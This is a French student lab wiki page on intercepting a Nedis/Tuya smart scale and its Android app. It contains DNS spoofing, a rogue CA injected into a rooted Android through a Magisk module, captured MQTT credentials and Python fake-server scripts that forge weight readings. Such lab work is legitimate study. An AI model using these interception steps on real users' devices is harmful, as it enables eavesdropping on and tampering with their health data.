&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO redaction&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
On tente donc d'envoyer en clair le poid vers l'application nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;✅ TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;📡 Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;🚀 Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;ℹ️ Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;❌ Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs dans le /data/data/com.nedis.smartlife une clé local qui permettrai de chiffrer le message pour que nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
